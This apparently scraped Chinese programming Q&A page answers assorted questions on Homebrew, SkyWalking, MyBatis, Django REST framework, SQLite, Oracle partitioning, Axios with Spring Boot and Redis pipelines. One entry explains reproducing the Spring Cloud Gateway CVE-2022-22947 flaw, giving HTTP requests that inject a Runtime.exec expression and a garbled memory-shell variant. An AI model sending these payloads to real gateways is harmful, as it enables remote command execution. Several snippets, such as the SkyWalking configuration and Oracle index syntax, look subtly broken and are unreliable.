2024-09-03

错误解释:

这个错误表明Homebrew尝试安装或更新PostgreSQL时遇到了问题。具体来说,是因为Homebrew中关于PostgreSQL的软件包的标签(bottle tag)无效。在Homebrew中,bottled formula是预编译的软件包,带有与你的操作系统架构和版本相匹配的预编译二进制文件。bottle tag通常包含操作系统的名称和版本,例如m1代表Mac的M1芯片架构。

解决方法:

  1. 更新Homebrew到最新版本:

    
    
    
    brew update
    brew upgrade
  2. 清除Homebrew缓存:

    
    
    
    brew cleanup
  3. 如果问题依旧存在,尝试修改.bash_profile.zshrc或其他shell配置文件中的Homebrew镜像源为官方默认源,或者选择一个更快的镜像。
  4. 如果你使用的是不支持的Mac硬件或操作系统版本,尝试安装支持你硬件和操作系统版本的PostgreSQL版本。
  5. 如果以上步骤都不能解决问题,可以尝试手动编译安装PostgreSQL:

    
    
    
    brew install --build-from-source postgresql

确保在执行这些步骤时,你的网络连接是稳定的,并且你有足够的权限来执行Homebrew命令(可能需要管理员权限)。

2024-09-03

在Spring Cloud微服务中集成SkyWalking进行分布式跟踪,你需要做以下几个步骤:

  1. 在你的Spring Cloud项目中添加SkyWalking客户端依赖。
  2. 配置SkyWalking客户端,在application.ymlapplication.properties中设置SkyWalking的后端地址。
  3. 重新编译并启动你的微服务,SkyWalking将会自动接入并开始跟踪。

以下是Maven的pom.xml中添加SkyWalking客户端依赖的示例:




<dependencies>
    <!-- SkyWalking客户端依赖 -->
    <dependency>
        <groupId>org.apache.skywalking</groupId>
        <artifactId>apm-toolkit-trace</artifactId>
        <version>版本号</version>
    </dependency>
</dependencies>

接下来是application.yml中添加SkyWalking配置的示例:




spring:
  application:
    name: my-spring-cloud-service
 
# SkyWalking相关配置
agent:
  serviceName: ${spring.application.name}
  agentId: ${spring.application.name}
  applicationInstanceId: ${spring.application.name}:${spring.application.instance_id:${random.value}}
  spanLimitPerSegment: 300
  ignoreSuffix:
    - .jpg
    - .jpeg
    - .js
    - .css
    - .png
    - .gif
    - .ico
    - .woff
    - .woff2
    - .ttf
  active: true
  plugin:
    mysql:
      author: Apache SkyWalking
      slave:
        check: true
        filter:
          sql:
            include: BUSY,ERROR
    redis:
      author: Apache SkyWalking
      listener:
        host-port: ${spring.redis.host}:${spring.redis.port}
        db: ${spring.redis.database}
        password: ${spring.redis.password}

请注意,你需要替换版本号为实际使用的SkyWalking客户端版本,并根据你的服务和数据库配置调整application.yml中的Redis插件配置。

最后,确保启动你的微服务时,Java Agent被正确传递到JVM参数中,例如:




java -javaagent:/path/to/skywalking-agent.jar -jar your-spring-cloud-service.jar

替换/path/to/skywalking-agent.jar为你的SkyWalking代理的实际路径。

以上步骤完成后,你的Spring Cloud微服务将会接入SkyWalking进行分布式跟踪。通过SkyWalking UI,你可以查看服务间的调用关系、追踪数据和日志,从而进行微服务的监控和问题诊断。

2024-09-03

MyBatis 允许你在一次会话中运行多条 SQL 语句。你可以通过在映射器接口中定义多个方法,每个方法对应一条 SQL 语句,或者使用@Update注解来执行多条 SQL 语句。

以下是一个使用映射器接口执行多条 SQL 语句的示例:




public interface YourMapper {
    @Update("UPDATE your_table SET column1 = value1 WHERE condition1;")
    void updateFirstStatement();
 
    @Update("DELETE FROM your_table WHERE condition2;")
    void deleteSecondStatement();
 
    @Update("INSERT INTO your_table (column2, column3) VALUES (value2, value3);")
    void insertThirdStatement();
}

在你的服务层,你可以调用这些方法来执行定义的 SQL 语句:




@Service
public class YourService {
 
    @Autowired
    private YourMapper yourMapper;
 
    public void executeMultipleStatements() {
        yourMapper.updateFirstStatement();
        yourMapper.deleteSecondStatement();
        yourMapper.insertThirdStatement();
    }
}

如果你想在一个方法中执行多条 SQL 语句,你可以使用@Transactional注解来保证这些操作在同一个事务中执行。




@Service
public class YourService {
 
    @Autowired
    private SqlSessionFactory sqlSessionFactory;
 
    @Transactional
    public void executeMultipleStatementsInOneTransaction() {
        try (SqlSession sqlSession = sqlSessionFactory.openSession()) {
            Connection connection = sqlSession.getConnection();
            Statement statement = connection.createStatement();
 
            statement.executeUpdate("UPDATE your_table SET column1 = value1 WHERE condition1");
            statement.executeUpdate("DELETE FROM your_table WHERE condition2");
            statement.executeUpdate("INSERT INTO your_table (column2, column3) VALUES (value2, value3)");
 
            // No need to call sqlSession.commit() because of @Transactional
        }
    }
}

确保你的方法在执行这些操作时处理了相关的异常,并且在方法结束时关闭了资源(例如:使用了 try-with-resources 语句)。

2024-09-03

Django REST framework 是一个建立在Django基础上的Web服务API工具。以下是一些基础概念和示例代码:

  1. 序列化: 将模型转换为JSON,以便可以通过API进行交互。



from rest_framework import serializers
from myapp.models import MyModel
 
class MyModelSerializer(serializers.ModelSerializer):
    class Meta:
        model = MyModel
        fields = '__all__'
  1. 视图: 定义如何处理不同的HTTP请求。



from rest_framework import generics
 
class MyModelListView(generics.ListAPIView):
    queryset = MyModel.objects.all()
    serializer_class = MyModelSerializer
  1. 视图集: 用于更快创建复杂API的工具。



from rest_framework import viewsets
 
class MyModelViewSet(viewsets.ModelViewSet):
    queryset = MyModel.objects.all()
    serializer_class = MyModelSerializer
  1. 路由: 确保URLs指向正确的视图。



from django.urls import path, include
from rest_framework.routers import DefaultRouter
from myapp.views import MyModelListView, MyModelViewSet
 
router = DefaultRouter()
router.register(r'mymodel', MyModelViewSet)
 
urlpatterns = [
    path('', include(router.urls)),
    path('mymodel/list/', MyModelListView.as_view()),
]
  1. 认证和权限: 确保只有授权用户可以访问API。



REST_FRAMEWORK = {
    'DEFAULT_AUTHENTICATION_CLASSES': (
        'rest_framework.authentication.TokenAuthentication',  # 使用Token认证
    ),
    'DEFAULT_PERMISSION_CLASSES': (
        'rest_framework.permissions.IsAuthenticated',  # 仅授权用户可访问
    ),
}
  1. 过滤、搜索、分页: 提高查询的灵活性。



from rest_framework.filters import SearchFilter, OrderingFilter
from rest_framework.pagination import PageNumberPagination
 
class MyModelListView(generics.ListAPIView):
    queryset = MyModel.objects.all()
    serializer_class = MyModelSerializer
    filter_backends = [SearchFilter, OrderingFilter]
    search_fields = ['name', 'description']
    ordering_fields = ['name', 'created_at']
    pagination_class = PageNumberPagination

这些是Django REST framework中的基础概念和示例代码。它们展示了如何创建序列化器、视图、路由、认证、权限、过滤、搜索和分页,以构建功能齐全的API。

2024-09-03

SQLite的Write-Ahead Logging(WAL)是一种提高数据库并发和持久性的机制。WAL模式通过避免写入数据文件直到事务提交,减少了锁竞争和提升了性能。

以下是一个简单的Python脚本,演示了如何在SQLite中使用WAL模式:




import sqlite3
 
# 创建或打开数据库,启用WAL模式
conn = sqlite3.connect('example.db', isolation_level=None)
 
# 启用WAL模式的SQL命令
conn.execute('PRAGMA journal_mode=WAL;')
 
# 创建一个简单的表
conn.execute('CREATE TABLE IF NOT EXISTS test (id INTEGER PRIMARY KEY, value TEXT);')
 
# 开启一个事务
with conn:
    # 插入数据
    conn.execute('INSERT INTO test (value) VALUES (?)', ('Hello, WAL!',))
 
# 关闭连接
conn.close()

在这个例子中,我们使用了sqlite3.connect方法的isolation_level=None参数来启用WAL模式。然后通过执行PRAGMA journal_mode=WAL;来确保数据库文件已经在WAL模式下运行。接着创建一个简单的表,并在一个事务中插入一条记录。最后关闭数据库连接。这个脚本演示了如何在Python中使用SQLite的WAL模式来提高数据库的并发性能。

2024-09-03

由于pipeline-stable-diffusion.py是一个较为复杂的文件,我无法提供一个全面的逐行解释。但我可以给出一些关键函数和解释。




# 导入必要的库
import os
import sys
import torch
import argparse
from diffusers import StableDiffusionPipeline
 
# 创建一个解析器来处理命令行参数
parser = argparse.ArgumentParser(description="Stable Diffusion CLI")
 
# 添加参数
parser.add_argument("--image_size", type=int, default=512, help="Image size")
parser.add_argument("--seed", type=int, help="Seed for RNG")
parser.add_argument("--num_init_images", type=int, default=1, help="Number of initial images")
parser.add_argument("--init_scale", type=int, default=7, help="Initial scale")
 
# 解析参数
args = parser.parse_args()
 
# 设置随机种子
if args.seed is not None:
    torch.manual_seed(args.seed)
    print(f"Using seed: {args.seed}")
 
# 加载稳定扩散模型,这里需要指定模型的路径
pipe = StableDiffusionPipeline.from_pretrained(
    "compvis/stable-diffusion-v-1-4-original",
    revision="ff58efa97ea13b588d26a40f3e04b2467242dc2a",
    use_auth_token=True,
    torch_dtype=torch.float16,  # or torch.float32
)
 
# 设置模型的图像大小
pipe.to(torch.device("cuda"))
pipe.model.set_image_size(args.image_size, args.image_size)
 
# 这里是主要的生成代码,省略了具体的文本提示和保存图片的代码
# ...

这段代码提供了一个如何使用稳定扩散模型生成图像的框架。省略的部分通常包括文本提示、模型前向推断过程和图像保存代码。在实际应用中,你需要提供具体的文本提示(prompt)、控制生成过程的参数以及保存生成图像的代码。

2024-09-03

在Oracle数据库中,表空间是一个逻辑存储单位,它是Oracle数据库中存储数据对象(如表和索引)的地方。表空间可以进一步划分为段(如数据段、索引段和临时段),而每个段又可以划分为多个区。

对于分区表,数据可以根据特定的规则分布在不同的分区中。这允许数据按照特定的方式进行管理和访问,比如按照时间范围将数据存储在不同的分区中,可以提高查询性能并简化数据管理。

索引是数据库对象,它以特定的格式存储表中的数据,以便可以快速访问数据。对于分区表,索引也可以进行分区,以便索引和表的分区能对应。

以下是创建表空间、分区表和分区索引的示例代码:




-- 创建表空间
CREATE TABLESPACE users
  DATAFILE 'users01.dbf' SIZE 100M
  AUTOEXTEND ON NEXT 10M MAXSIZE 500M;
 
-- 创建分区表
CREATE TABLE sales (
  sales_id NUMBER(4),
  product_id VARCHAR2(5),
  sale_date DATE
)
PARTITION BY RANGE (sale_date) (
  PARTITION sales_q1 VALUES LESS THAN (TO_DATE('01-APR-2023', 'DD-MON-YYYY')),
  PARTITION sales_q2 VALUES LESS THAN (TO_DATE('01-JUL-2023', 'DD-MON-YYYY')),
  PARTITION sales_q3 VALUES LESS THAN (TO_DATE('01-OCT-2023', 'DD-MON-YYYY')),
  PARTITION sales_q4 VALUES LESS THAN (TO_DATE('01-JAN-2024', 'DD-MON-YYYY'))
);
 
-- 创建分区索引
CREATE INDEX sales_product_id_idx ON sales(product_id)
  LOCAL (
    PARTITION sales_q1 VALUES LESS THAN (TO_DATE('01-APR-2023', 'DD-MON-YYYY')),
    PARTITION sales_q2 VALUES LESS THAN (TO_DATE('01-JUL-2023', 'DD-MON-YYYY')),
    PARTITION sales_q3 VALUES LESS THAN (TO_DATE('01-OCT-2023', 'DD-MON-YYYY')),
    PARTITION sales_q4 VALUES LESS THAN (TO_DATE('01-JAN-2024', 'DD-MON-YYYY'))
  );

这段代码首先创建了一个名为users的表空间,并指定了数据文件的位置和大小。接着,它创建了一个分区表sales,根据销售日期对数据进行分区。最后,它创建了一个分区索引sales_product_id_idx,并且每个分区对应sales表的相应分区。

2024-09-03

该问题涉及到Spring Cloud Gateway中的一个命令执行漏洞(CVE-2022-22947),该漏洞允许未授权攻击者通过发送特制的HTTP请求在目标服务器上执行任意命令。

复现该漏洞的步骤如下:

  1. 确保你有一个Spring Boot应用程序正在使用Spring Cloud Gateway。
  2. 使用漏洞利用工具或者手动发送一个HTTP请求,利用Groovy模板表达式注入执行任意命令。

例如,使用如下的HTTP请求可以尝试触发漏洞:




POST /actuator/gateway/routes/hackhttp://command_exec_endpoint HTTP/1.1
Host: your-gateway-host
Accept: */*
Content-Length: length
Content-Type: application/json
 
{
  "id": "hack",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "${T(java.lang.Runtime).getRuntime().exec('your-command')}"
    }
  }],
  "uri": "http://command_exec_endpoint",
  "order": 0
}

替换your-gateway-host为你的网关服务器地址,your-command为你想执行的命令。

针对内存马的需求,你可以在Groovy表达式中使用Base64编码的payload来执行。




POST /actuator/gateway/routes/hack HTTP/1.1
Host: your-gateway-host
Accept: */*
Content-Length: length
Content-Type: application/json
 
{
  "id": "hack",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "${T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).forName(T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getDeclaredMethod('getDeclaredMethod', T(java.lang.Class).forName('[Ljava.lang.Class;')).invoke(null, T(java.lang.Class).forName('[Ljava.lang.Class;').cast([T(java.io.Serializable).class])).getDeclaredMethod('getSystemClassLoader').invoke(null), 'getResourceAsStream', T(java.lang.Class).forName('java.lang.Class')).getResourceAsStream('your-payload-resource').text)}"
    }
  }],
  "uri": "http://command_exec_endpoint",
  "order": 0
}

替换your-payload-resource为你的内存马资源路径。

请注意,实际操作时应确保你有权限执行命令和修改路由配置,且应遵守相关法律法规和道德标准,不得用于非法活动。

2024-09-03

在前端使用Axios发送请求时,可以通过不同的方法来携带参数,常见的方法有:

  1. 查询参数(Query Parameters): 通过URL的查询字符串传递参数。
  2. 请求体(Request Body): 使用POST或PUT方法发送数据。

后端在Spring Boot中可以通过@RequestParam@RequestBody以及@PathVariable来接收不同位置的参数:

  • @RequestParam: 获取查询参数或表单数据。
  • @RequestBody: 获取请求体中的数据(如JSON)。
  • @PathVariable: 获取URL中的路径变量。

以下是一些示例代码:

前端Axios请求:




// 查询参数
axios.get('http://localhost:8080/api/items', {
  params: {
    id: 123
  }
});
 
// 请求体(发送JSON数据)
axios.post('http://localhost:8080/api/items', {
  name: 'Item Name',
  description: 'Item Description'
});

后端Spring Boot控制器:




import org.springframework.web.bind.annotation.*;
 
@RestController
@RequestMapping("/api")
public class ItemController {
 
  // 通过查询参数接收
  @GetMapping("/items")
  public String getItemById(@RequestParam int id) {
    // ...
  }
 
  // 通过路径变量接收
  @GetMapping("/items/{id}")
  public String getItemById(@PathVariable int id) {
    // ...
  }
 
  // 通过请求体接收JSON数据
  @PostMapping("/items")
  public String createItem(@RequestBody Item item) {
    // ...
  }
 
  static class Item {
    private String name;
    private String description;
    // Getters and setters
  }
}

在这个示例中,前端使用Axios发送请求,后端的Spring Boot控制器通过注解@RequestParam@RequestBody以及@PathVariable来接收参数。

2024-09-03

为了高效地向Redis 6插入亿级数据,你可以使用管道(pipeline)功能来批量执行命令。管道可以减少客户端与服务器之间的往返延迟,从而显著提高数据插入的速度。

以下是使用Python和redis-py库的示例代码:




import redis
 
# 连接到Redis
r = redis.Redis(host='localhost', port=6379, db=0)
 
# 使用pipeline
pipe = r.pipeline()
 
# 插入的数据量(亿级)
data_count = 100000000
 
# 插入数据的前缀和后缀
prefix = 'key'
suffix = 'value'
 
for i in range(data_count):
    key = f'{prefix}{i}'
    value = f'{suffix}{i}'
    # 将命令放入管道中
    pipe.set(key, value)
    # 每10000个命令执行一次
    if not (i % 10000):
        pipe.execute()  # 执行管道中的命令
        pipe.reset()    # 重置管道
 
# 如果数据量不是10000的倍数,执行剩余的命令
if pipe.commands:
    pipe.execute()
 
print("数据插入完成")

确保你的Redis服务器配置得当,并且有足够的内存来存储这么多数据。此外,如果你的数据有特定的分布模式或者插入顺序对性能有影响,你可能需要调整代码来适应这些情况。